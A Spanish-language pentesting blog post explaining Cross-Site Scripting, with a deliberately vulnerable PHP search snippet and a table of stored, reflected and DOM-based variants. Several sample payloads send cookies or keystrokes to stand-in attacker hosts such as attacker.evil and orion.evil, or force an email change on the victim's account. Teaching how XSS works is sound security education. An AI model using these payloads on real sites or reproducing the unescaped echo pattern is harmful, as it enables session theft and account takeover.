Pentesting

Cross-Site Scripting (XSS)

La superficie de ataque de las aplicaciones web crece al mismo ritmo que su complejidad. Cuantos más formularios, paneles de administración y funcionalidades dinámicas se añaden, más puntos de entrada aparecen para que un input mal validado termine convirtiéndose en código ejecutable. Cross-Site Scripting (XSS) sigue siendo, año tras año, una de las vulnerabilidades más reportadas en programas de bug bounty y auditorías internas, y no porque sea especialmente sofisticada, sino porque los desarrolladores siguen confiando en el navegador para hacer un trabajo que le corresponde al backend que es sanitizar lo que el usuario escribe antes de devolverlo a la página.

En esta entrada se va explica qué es XSS, por qué sigue siendo relevante en 2026 pese a dos décadas de mitigaciones, y qué tipos existen, con ejemplos de payloads reales.

Definición

Cuando se accede a una aplicación o página web, el navegador recibe HTML (y normalmente JavaScript) desde un servidor y este lo renderiza. El problema aparece cuando la aplicación toma algo que ha escrito un usuario y lo devuelve a la página sin sanitizarlo correctamente. Se desarolla el ejemplo de una aplicación web que presenta una función de búsqueda donde el término búscado se refleja en la aplicación o sección HTML:

<?php 
// search.php 
$query = $_GET['q']; echo "<p>Resultados para: " . $query . "</p>"; 
?>

Si un atacante envía como parámetro q:

`q=<script>fetch('https://attacker.evil/steal?c='+document.cookie)</script>`

El navegador de la víctima recibe la etiqueta <script> dentro del HTML y la ejecuta como si formara parte legítima de la página. No hay ninguna distinción entre "dato" y "código" para el motor de renderizado; si el backend no escapa los caracteres especiales (<, >, ", '), el navegador ejecuta el código que se introdujo.

Esto es clave para entender el alcance de XSS, pues la ejecución ocurre en el navegador de la víctima, no en el servidor. Por eso, en términos de matriz de riesgo, XSS suele clasificarse como impacto medio-bajo por evento individual, pero probabilidad muy alta de aparición, lo que en la práctica lo mantiene como uno de los vectores más explotados del OWASP Top 10. Además, es muy común explotar vulnerabilidades de XSS junto con otras como Broken Access Control o Cross-Site Request Forgery para potenciar cadenas de vulnerabilidades, como la que precede durante un robo de credenciales o sesión.

Por qué importa (y sigue importando)

El rango de acciones que se pueden ejecutar con JavaScript inyectado es amplio. Algunos ejemplos técnicos habituales en engagements reales:

Robo de sesión vía exfiltración de cookies:

<script> new Image().src = "https://orion.evil/log?c=" + encodeURIComponent(document.cookie); </script>

Ejecución de acciones autenticadas en nombre de la víctima (por ejemplo, forzar un cambio de correo electrónico con credenciales de sesión):

<script> fetch('/api/user/update-email', {   method: 'POST',  credentials: 'include',  headers: {'Content-Type': 'application/json'},  body: JSON.stringify({email: 'attacker@orion.evil'}) }); </script>

Keylogger básico dentro del contexto de la página:

<script> document.addEventListener('keypress', function(e) {   fetch('https://orion.evil/keys?k=' + e.key); }); </script>

El límite técnico está en el motor JavaScript del navegador y en la política de mismo origen. Pero dentro de esas fronteras hay margen de sobra, especialmente si además el navegador tiene una vulnerabilidad binaria sin parchear (un heap overflow en el motor de renderizado, por ejemplo), un XSS puede ser el vehículo de entrega inicial de un exploit que excape el sandbox y logre ejecución remota de comandos en el sistema de la víctima. Esta técnica de "browser exploit chain" ha sido documentada en varias campañas de APTs contra periodistas y activistas, donde el XSS inicial servía solo como mecanismo de entrega.

Tipos de XSS

Tipo Descripción Ejemplo de payload
Almacenado (Stored/Persistent) El input se guarda en base de datos y se sirve a cualquier usuario que visite la página afectada (comentarios, perfiles, tickets). No requiere interacción dirigida. <script>document.location='https://attacker.evil/c?c='+document.cookie</script> enviado como comentario de blog
Reflejado (Reflected/Non-Persistent) El servidor procesa el input y lo devuelve en la misma respuesta sin almacenarlo (búsquedas, mensajes de error). Requiere que la víctima haga clic en un enlace manipulado. https://victima.com/search?q=<script>alert(document.domain)</script>
Basado en DOM (DOM-based) Todo ocurre en el cliente: JavaScript legítimo toma datos de fuentes controlables (location.hash, document.referrer) y los inserta en el DOM vía sinks peligrosos como innerHTML sin sanitizar. Página con document.getElementById('out').innerHTML = location.hash.substring(1) explotada con https://victima.com/#<img src=x onerror=alert(1)>

El caso de DOM-based merece un comentario aparte dado que aquí el payload nunca llega al servidor, así que herramientas de logging tradicionales del backend no lo detectan. La vulnerabilidad vive completamente en el código JS del frontend, en sinks como innerHTML, document.write(), eval() o location.href que reciben datos de fuentes no confiables.